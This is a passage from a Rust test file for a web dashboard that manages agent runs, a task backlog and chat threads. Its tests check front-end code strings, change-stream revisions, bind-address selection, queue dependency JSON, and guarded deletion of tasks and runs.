11014 "run-tab-overview",
11015 "run-tab-timeline",
11016 "run-tab-report",
11017 "run-report",
11018 "runs-scope",
11019 ] {
11020 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11021 }
11022 assert!(!INDEX_HTML.contains("runs-tree"));
11023 assert!(!INDEX_HTML.contains("run-raw-panel"));
11024 assert!(APP_JS.contains("resume"));
11026 assert!(APP_JS.contains("unreadable"));
11028 }
11029
11030 #[test]
11031 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11032 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11033 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11034 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11035 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11036 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11037 assert!(APP_JS.contains("unreadable` : null"));
11039 }
11040
11041 #[test]
11042 fn the_run_detail_payload_says_whether_the_run_is_done() {
11043 for (status, done) in [
11045 (RunStatus::Superseded, true),
11046 (RunStatus::Blocked, true),
11047 (RunStatus::Landing, false),
11048 ] {
11049 let mut state = RunState::new(
11050 std::path::PathBuf::from("/repo"),
11051 "main".to_owned(),
11052 "abc".to_owned(),
11053 "x".to_owned(),
11054 crate::config::Config::default(),
11055 );
11056 state.status = status;
11057 let v = serde_json::to_value(RunDetailView::of(
11058 state,
11059 crate::run::Liveness::Unknown,
11060 None,
11061 None,
11062 None,
11063 ))
11064 .unwrap();
11065 assert_eq!(v["done"], done, "{status:?}");
11066 }
11067 }
11068
11069 #[test]
11070 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11071 assert!(APP_JS.contains("function landView(run, raw) {"));
11075 assert!(
11076 APP_JS.contains(
11077 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11078 )
11079 );
11080 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11081 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11082 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11083 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11084 }
11085
11086 #[test]
11087 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11088 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11089 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11090 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11091 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11092 }
11093
11094 #[test]
11095 fn review_rounds_label_a_distinct_verified_head() {
11096 assert!(APP_JS.contains("round.verified_head"));
11097 assert!(APP_JS.contains("verified HEAD"));
11098 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11099 }
11100
11101 #[test]
11102 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11103 assert!(APP_JS.contains("blocked: { glyph:"));
11107 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11108
11109 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11113 assert!(
11114 APP_JS.contains(
11115 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11116 ),
11117 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11118 );
11119 assert!(APP_JS.contains("if (status === \"blocked\") {"));
11123
11124 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11128 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11129 assert!(
11130 APP_JS.contains("location.hash = \"#/questions\";"),
11131 "a question node must jump to the Questions screen, not pretend to be a task"
11132 );
11133
11134 assert!(APP_JS.contains("Resolved questions"));
11137 assert!(APP_JS.contains("r.answersList.append("));
11138 assert!(APP_CSS.contains(".task-answers"));
11139 {
11140 let start = APP_JS
11141 .find("function updateTalkTaskRow")
11142 .expect("updateTalkTaskRow");
11143 let body = &APP_JS[start..];
11144 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11145 assert!(
11146 body.contains(
11147 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11148 ),
11149 "a chat-filed task row must link to the task page"
11150 );
11151 assert!(
11152 !body.contains("#/runs/") && !body.contains("#/queue/"),
11153 "the row must not branch to a run or the queue card"
11154 );
11155 assert!(APP_CSS.contains(".talk-task-link"));
11156 }
11157 }
11158
11159 #[test]
11160 fn a_task_notification_links_to_the_task_page() {
11161 let start = APP_JS
11163 .find("function noticeLink(")
11164 .expect("noticeLink exists");
11165 let body = &APP_JS[start..];
11166 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11167 assert!(
11168 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11169 "a task notice's link must target the task page"
11170 );
11171 assert!(
11172 !body.contains("#/queue/"),
11173 "regression: the task link must not go back to the Backlog route"
11174 );
11175 assert!(
11176 APP_JS.contains(
11177 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11178 ),
11179 "`#/tasks/<id>` must parse into the task route"
11180 );
11181
11182 assert!(
11184 APP_JS.contains(
11185 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11186 ),
11187 "`#/queue/<id>` must parse into a route carrying that id"
11188 );
11189
11190 assert!(APP_JS.contains("state.queueFocus = route.id;"));
11194 assert!(APP_JS.contains("function consumeQueueFocus()"));
11195 assert!(APP_JS.contains("jumpToTask(id)"));
11196 }
11197
11198 #[test]
11201 fn chat_rows_put_the_title_alone_on_the_first_line() {
11202 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
11203 assert!(APP_CSS.contains(
11204 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11205 ));
11206 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11207 assert!(APP_JS.contains("class: \"badge talk-unread\""));
11208 }
11209
11210 #[test]
11211 fn run_rows_put_the_title_alone_on_the_first_line() {
11212 assert!(
11213 APP_CSS.contains(
11214 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
11215 )
11216 );
11217 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11218 assert!(APP_JS.contains("class: \"card run-card\""));
11219 assert!(APP_JS.contains("class: \"repo run-id\""));
11220 }
11221
11222 #[test]
11226 fn wide_screens_show_list_and_preview_side_by_side() {
11227 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11229 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11230 assert!(APP_CSS.contains("main[data-split]"));
11231 assert!(APP_CSS.contains("body[data-split]"));
11232
11233 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
11235 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11236 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11237 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11238 assert!(INDEX_HTML.contains("id=\"split-empty\""));
11239
11240 assert!(APP_JS.contains("function markSelected() {"));
11242 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11243 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11244 assert!(
11246 APP_CSS.contains(
11247 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11248 )
11249 );
11250
11251 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11253 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11254 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11255 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11256
11257 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11261 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11262 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11263 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11264
11265 assert!(APP_JS.contains("sandbox: \"\""));
11267 assert!(!APP_JS.contains("sandbox: \"allow"));
11268 }
11269
11270 #[test]
11271 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11272 assert!(
11281 APP_JS.contains(
11282 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
11283 ),
11284 "the search-clearing branch must run before state.queueFocus is cleared, or the \
11285 recursive renderQueue() call has nothing left to jump to"
11286 );
11287 assert!(
11288 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11289 "state.queueFocus must be cleared only once the jump has landed, so a card that \
11290 arrives later still gets it"
11291 );
11292 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11293 assert!(APP_JS.contains("is not in the current Backlog."));
11294 assert!(APP_JS.contains("li.card[data-task-id=\""));
11295 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11296 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11297 assert!(APP_CSS.contains(".card-permalink"));
11298 assert!(APP_CSS.contains(".queue-focus-status"));
11299 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11300 }
11301
11302 #[test]
11303 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11304 assert!(
11312 APP_JS.contains(
11313 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11314 ),
11315 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11316 );
11317 }
11318
11319 #[test]
11320 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11321 assert!(
11322 APP_JS.contains("round.verified_head !== round.head"),
11323 "a round that verified an earlier commit must be visibly distinct from one that \
11324 verified the head reviewers are looking at now"
11325 );
11326 assert!(
11327 APP_JS.contains("round.verified_at"),
11328 "when a check ran must be on the wire, not just which commit"
11329 );
11330 assert!(
11331 APP_JS.contains("resource_blocked"),
11332 "a command magi never got to run (shared build cache contention) must not render \
11333 the same as a command that ran and failed"
11334 );
11335 }
11336
11337 #[test]
11338 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11339 assert!(
11347 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11348 "every KPI tile built through statusTile() must route its click through \
11349 openRunsFiltered, the single place that sets the Runs filter"
11350 );
11351 for (label, status) in [
11352 ("Merged", "merged"),
11353 ("Ready", "ready"),
11354 ("Blocked", "blocked"),
11355 ("Stalled", "stalled"),
11356 ] {
11357 let call = format!("statusTile(\"{label}\", t.{status}, ");
11358 assert!(
11359 APP_JS.contains(&call),
11360 "expected the {label} KPI tile built via {call}..."
11361 );
11362 assert!(
11363 APP_JS.contains(&format!("status === \"{status}\"")),
11364 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11365 compare a run against, not one invented only for the stats tile"
11366 );
11367 }
11368 assert!(
11369 APP_JS.contains("function openRunsFiltered(status)"),
11370 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11371 );
11372 assert!(
11373 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11374 "matchesFilter must gate on the exact status a KPI tile named"
11375 );
11376 assert!(
11384 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
11385 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11386 hashchange event that may never fire"
11387 );
11388 }
11389
11390 #[test]
11391 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11392 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11398 assert!(
11399 APP_JS.contains(
11400 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
11401 ),
11402 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11403 guard for an incompatible tree section"
11404 );
11405 }
11406
11407 #[test]
11408 fn every_stats_queue_tile_names_a_real_queue_section() {
11409 assert!(
11415 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11416 "every queue tile built through sectionTile() must route its click through \
11417 openQueueSectionFocus"
11418 );
11419 for key in ["upnext", "running", "done", "held", "blocked"] {
11420 assert!(
11421 APP_JS.contains(&format!("{{ key: \"{key}\",")),
11422 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11423 );
11424 }
11425 for line in [
11429 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11430 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11431 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11432 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11433 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11434 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11435 ] {
11436 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11437 }
11438 }
11439
11440 #[test]
11441 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11442 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11449 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11450 assert!(APP_JS.contains("function revealQueueSection(details)"));
11451 assert!(
11452 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
11453 "renderQueue() must consume both focus channels on every pass"
11454 );
11455 assert!(
11456 APP_JS.contains(
11457 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
11458 ),
11459 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11460 the recursive renderQueue() call has nothing left to reveal"
11461 );
11462 assert!(
11463 APP_JS.contains(
11464 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
11465 ),
11466 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
11467 );
11468 assert!(
11476 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
11477 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
11478 hashchange event that may never fire"
11479 );
11480 }
11481
11482 #[tokio::test]
11483 async fn the_change_stream_announces_the_current_revisions_on_connect() {
11484 let f = Fixture::start().await;
11485
11486 let mut socket = tokio::net::TcpStream::connect(f.addr)
11487 .await
11488 .expect("connect");
11489 socket
11490 .write_all(
11491 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
11492 )
11493 .await
11494 .expect("write request");
11495
11496 let mut seen = String::new();
11499 let mut buf = [0u8; 1024];
11500 while !seen.contains("event: change") {
11501 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
11502 .await
11503 .expect("the stream must speak within five seconds")
11504 .expect("read");
11505 assert!(read > 0, "the server closed the change stream: {seen}");
11506 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
11507 }
11508
11509 assert!(
11510 seen.to_lowercase()
11511 .contains("content-type: text/event-stream"),
11512 "the browser only reconnects automatically for a real SSE stream: {seen}"
11513 );
11514 let data = seen
11515 .lines()
11516 .find_map(|l| l.strip_prefix("data:"))
11517 .expect("a data line");
11518 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
11519 assert!(
11520 payload["queue_rev"].is_u64()
11521 && payload["runs_rev"].is_u64()
11522 && payload["questions_rev"].is_u64()
11523 && payload["talks_rev"].is_u64()
11524 && payload["notifications_rev"].is_u64()
11525 && payload["loop_rev"].is_u64(),
11526 "the client needs one revision per store to know what to refetch, \
11527 and `talks_rev` is the only notification a standing talk gets - a \
11528 phone whose radio slept through a turn learns about it here, as \
11529 does one whose operator started the loop from another device: \
11530 {payload}"
11531 );
11532
11533 let health = f.get("/api/health").await.json();
11540 for key in [
11541 "queue_rev",
11542 "runs_rev",
11543 "questions_rev",
11544 "talks_rev",
11545 "notifications_rev",
11546 "loop_rev",
11547 ] {
11548 assert!(
11549 health[key].is_u64(),
11550 "health is the change stream's fallback and is missing `{key}`: {health}"
11551 );
11552 }
11553 }
11554
11555 #[tokio::test]
11556 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
11557 let f = Fixture::start().await;
11558 let before = f.get("/api/health").await.json()["talks_rev"]
11559 .as_u64()
11560 .expect("talks_rev");
11561
11562 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
11563 std::thread::sleep(Duration::from_millis(10));
11564 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
11565 on_disk.turns.push(crate::talk::Turn {
11566 who: crate::talk::Who::Operator,
11567 body: "a new turn".to_owned(),
11568 at: Timestamp::now(),
11569 attachments: Vec::new(),
11570 usage: None,
11571 });
11572 f.talks().put(&mut on_disk).expect("record a turn");
11573
11574 let after = f.get("/api/health").await.json()["talks_rev"]
11575 .as_u64()
11576 .expect("talks_rev");
11577 assert_ne!(
11578 before, after,
11579 "a phone must be able to notice a talk's reply without polling every store"
11580 );
11581 }
11582
11583 #[test]
11584 fn bind_reads_back_from_the_spelling_the_cli_prints() {
11585 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
11589 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
11590 }
11591 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
11592 assert!("everywhere".parse::<Bind>().is_err());
11593 }
11594
11595 #[test]
11596 fn an_explicit_bind_address_is_taken_verbatim() {
11597 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
11598
11599 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
11600
11601 assert_eq!(addr, asked);
11602 assert!(
11603 warning.is_none(),
11604 "an operator who named an address gets no lecture"
11605 );
11606 }
11607
11608 #[test]
11609 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
11610 let (addr, warning) = resolve_bind(&Bind::Auto);
11611
11612 match addr {
11619 IpAddr::V4(ip) if is_tailnet(&ip) => {
11620 assert!(warning.is_none(), "a tailnet address needs no warning");
11621 }
11622 other => {
11623 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
11624 let warning = warning.expect("a fallback has to explain itself");
11625 assert!(
11626 warning.contains("127.0.0.1") && warning.contains("local-only"),
11627 "the warning says what happened and what it costs: {warning}"
11628 );
11629 }
11630 }
11631 }
11632
11633 #[test]
11634 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
11635 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
11639 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
11640 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
11641 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
11642 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
11643 }
11644
11645 #[test]
11646 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
11647 let ids = vec![
11648 "20260902-140501-aaaa".to_owned(),
11649 "20260902-140502-aabb".to_owned(),
11650 ];
11651
11652 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
11653 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
11654 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
11655
11656 assert_eq!(missing.status, StatusCode::NOT_FOUND);
11657 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
11658 assert_eq!(short, "20260902-140502-aabb");
11659 }
11660 #[tokio::test]
11661 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
11662 let fx = Fixture::start().await;
11668 let id = panel(
11669 &fx,
11670 "<img src=\"shot.png\">",
11671 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
11672 );
11673
11674 let doc = fx
11676 .get(&format!("/api/questions/{id}/panel/index.html"))
11677 .await;
11678 assert_eq!(doc.status, 200, "{}", doc.body);
11679 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
11680
11681 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
11682 assert_eq!(sibling.status, 200, "{}", sibling.body);
11683 assert_eq!(sibling.header("content-type"), Some("image/png"));
11684 assert_eq!(
11685 sibling.header("content-security-policy"),
11686 Some(PANEL_CSP),
11687 "the sibling route must carry the same policy as the asset route"
11688 );
11689
11690 assert_eq!(
11693 fx.head(&format!("/api/questions/{id}/panel")).await.status,
11694 200
11695 );
11696 }
11697
11698 #[test]
11699 fn runs_revision_moves_when_deleting_an_older_run() {
11700 let temp = TempDir::new().expect("tempdir");
11701 let runs = temp.path().join("runs");
11702 std::fs::create_dir_all(&runs).expect("create runs dir");
11703
11704 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
11705
11706 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
11707 std::thread::sleep(Duration::from_millis(10));
11708 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
11709
11710 let rev_before = runs_revision(&runs);
11711 assert!(rev_before > 0);
11712
11713 let old_dir = runs.join("20260901-100000-old1");
11714 std::fs::remove_dir_all(&old_dir).expect("remove old run");
11715
11716 let rev_after = runs_revision(&runs);
11717 assert_ne!(
11718 rev_before, rev_after,
11719 "deleting an older run must change the revision so other clients see the deletion"
11720 );
11721 }
11722
11723 fn write_state(runs: &FsPath, state: &RunState) {
11728 let dir = runs.join(&state.id);
11729 std::fs::create_dir_all(&dir).expect("run dir");
11730 std::fs::write(
11731 dir.join("run.json"),
11732 serde_json::to_string_pretty(state).expect("serialize run"),
11733 )
11734 .expect("write run.json");
11735 }
11736
11737 #[test]
11742 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
11743 let temp = TempDir::new().expect("tempdir");
11744 let runs = temp.path().join("runs");
11745 std::fs::create_dir_all(&runs).expect("create runs dir");
11746 let mut state = RunState::new(
11747 PathBuf::from("/repo/magi"),
11748 "main".to_owned(),
11749 "0123456789abcdef".to_owned(),
11750 "task".to_owned(),
11751 Config::default(),
11752 );
11753 state.id = "20260902-100000-c0de".to_owned();
11754 write_state(&runs, &state);
11755
11756 let rev_idle = runs_revision(&runs);
11757 std::thread::sleep(Duration::from_millis(10));
11758 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
11759 write_state(&runs, &state);
11760 let rev_started = runs_revision(&runs);
11761 assert_ne!(
11762 rev_idle, rev_started,
11763 "a seat starting must move the revision"
11764 );
11765
11766 std::thread::sleep(Duration::from_millis(10));
11767 state.seat_finished("judge-1");
11768 write_state(&runs, &state);
11769 let rev_finished = runs_revision(&runs);
11770 assert_ne!(
11771 rev_started, rev_finished,
11772 "and clearing it again must move the revision a second time"
11773 );
11774 }
11775
11776 #[tokio::test]
11777 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
11778 let fx = Fixture::start().await;
11783 let q = fx.queue();
11784
11785 let mut t = Task::new(
11786 "Task".to_owned(),
11787 "Instruction".to_owned(),
11788 PathBuf::from("/repo"),
11789 Source::Human,
11790 );
11791 t.block(
11792 vec!["20260101-000000-dead".to_owned()],
11793 Some("waiting on Task 1".to_owned()),
11794 );
11795 t.answers.push(crate::queue::AnsweredQuestion {
11796 question: "Which backend?".to_owned(),
11797 answer: "SQLite".to_owned(),
11798 });
11799 q.put(&mut t).expect("put t");
11800
11801 let res = fx.get("/api/queue").await;
11802 assert_eq!(res.status, 200);
11803 let list = res.json();
11804 let view = list
11805 .as_array()
11806 .expect("array")
11807 .iter()
11808 .find(|v| v["id"] == t.id)
11809 .expect("task in list");
11810 assert_eq!(view["status_str"], "blocked");
11811 assert_eq!(
11812 view["blocked_by"],
11813 serde_json::json!(["20260101-000000-dead"])
11814 );
11815 assert_eq!(view["block_reason"], "waiting on Task 1");
11816 assert_eq!(view["answers"][0]["question"], "Which backend?");
11817 assert_eq!(view["answers"][0]["answer"], "SQLite");
11818
11819 let res = fx
11823 .post(&format!("/api/queue/{}/hold", t.short()), None)
11824 .await;
11825 assert_eq!(res.status, 200);
11826 let held = res.json();
11827 assert_eq!(held["status_str"], "held");
11828 assert_eq!(held["blocked_by"], serde_json::json!([]));
11829 assert!(held["block_reason"].is_null());
11830 assert_eq!(held["answers"][0]["answer"], "SQLite");
11831 }
11832
11833 #[tokio::test]
11834 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
11835 let fx = Fixture::start().await;
11836 let q = fx.queue();
11837 let mk = |title: &str| {
11838 Task::new(
11839 title.to_owned(),
11840 "Instruction".to_owned(),
11841 PathBuf::from("/repo"),
11842 Source::Human,
11843 )
11844 };
11845 let mut root = mk("root");
11846 root.hold_manual(Some("waiting".to_owned()));
11847 q.put(&mut root).unwrap();
11848 let mut mid = mk("mid");
11849 mid.block(vec![root.id.clone()], None);
11850 q.put(&mut mid).unwrap();
11851 let mut leaf = mk("leaf");
11852 leaf.block(vec![mid.id.clone()], None);
11853 q.put(&mut leaf).unwrap();
11854
11855 let list = fx.get("/api/queue").await.json();
11856 let find = |id: &str| {
11857 list.as_array()
11858 .unwrap()
11859 .iter()
11860 .find(|v| v["id"] == id)
11861 .unwrap()
11862 .clone()
11863 };
11864 let leaf_view = find(&leaf.id);
11865 assert_eq!(
11866 leaf_view["waits_on"],
11867 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
11868 );
11869 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
11870 assert_eq!(
11871 find(&mid.id)["waits_on"],
11872 serde_json::json!([format!("{} (held)", root.short())])
11873 );
11874 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
11875 }
11876
11877 #[tokio::test]
11878 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
11879 let fx = Fixture::start().await;
11880 let q = fx.queue();
11881
11882 let mut t1 = Task::new(
11884 "Task 1".to_owned(),
11885 "Instruction 1".to_owned(),
11886 PathBuf::from("/repo"),
11887 Source::Human,
11888 );
11889 let run_id = "20260901-000000-r111";
11890 t1.runs.push(run_id.to_owned());
11891 write_run(&fx.runs(), run_id, RunStatus::Merged);
11892 q.put(&mut t1).expect("put t1");
11893
11894 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
11896 assert_eq!(res.status, 204);
11897 assert!(res.body.is_empty(), "204 No Content has no body");
11898 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
11899 assert!(
11900 fx.runs().join(run_id).exists(),
11901 "run directory must not be deleted when its task is deleted"
11902 );
11903
11904 let mut t2 = Task::new(
11906 "Task 2".to_owned(),
11907 "Instruction 2".to_owned(),
11908 PathBuf::from("/repo"),
11909 Source::Human,
11910 );
11911 t2.status = TaskStatus::Running;
11912 q.put(&mut t2).expect("put t2");
11913 let mut beat = crate::daemon::Status::new();
11914 beat.current = vec![crate::daemon::Current {
11915 task: t2.id.clone(),
11916 run: "20260901-000000-r222".to_owned(),
11917 }];
11918 beat.updated_at = jiff::Timestamp::now();
11919 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11920 .expect("publish a heartbeat");
11921 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
11922 assert_eq!(res.status, 409);
11923 assert!(
11924 res.json()["error"]
11925 .as_str()
11926 .unwrap()
11927 .contains("live daemon")
11928 );
11929 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
11930
11931 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
11937 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11938 .expect("leave a stale heartbeat");
11939 let mut t3 = Task::new(
11940 "Task 3".to_owned(),
11941 "Instruction 3".to_owned(),
11942 PathBuf::from("/repo"),
11943 Source::Human,
11944 );
11945 t3.status = TaskStatus::Running;
11946 q.put(&mut t3).expect("put t3");
11947 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
11948 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
11949 assert_eq!(res.status, 204);
11950 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
11951 assert!(
11952 q.claim(&t3.id).is_ok(),
11953 "the stale lock went with it, so the id is claimable again"
11954 );
11955
11956 let res = fx.delete("/api/queue/nonexistent").await;
11958 assert_eq!(res.status, 404);
11959 }
11960
11961 #[tokio::test]
11962 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
11963 let fx = Fixture::start().await;
11964 let runs = fx.runs();
11965
11966 let run_id = "20260901-000000-fold";
11968 let mut state = RunState::new(
11969 PathBuf::from("/repo"),
11970 "main".to_owned(),
11971 "abc".to_owned(),
11972 "instruction".to_owned(),
11973 Config::default(),
11974 );
11975 state.id = run_id.to_owned();
11976 state.status = RunStatus::Merged;
11977 state.candidates.push(crate::run::Candidate {
11978 index: 0,
11979 label: 'A',
11980 agent: "a".to_owned(),
11981 branch: "b".to_owned(),
11982 worktree: PathBuf::from("/w"),
11983 summary: String::new(),
11984 stat: String::new(),
11985 files: 1,
11986 commits: 1,
11987 empty: false,
11988 failed: None,
11989 verified_noop: None,
11990 duration_ms: 0,
11991 folded: true,
11992 });
11993 let dir = runs.join(run_id);
11994 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
11995 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
11996 .expect("write artifact");
11997 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
11998 .expect("write run.json");
11999
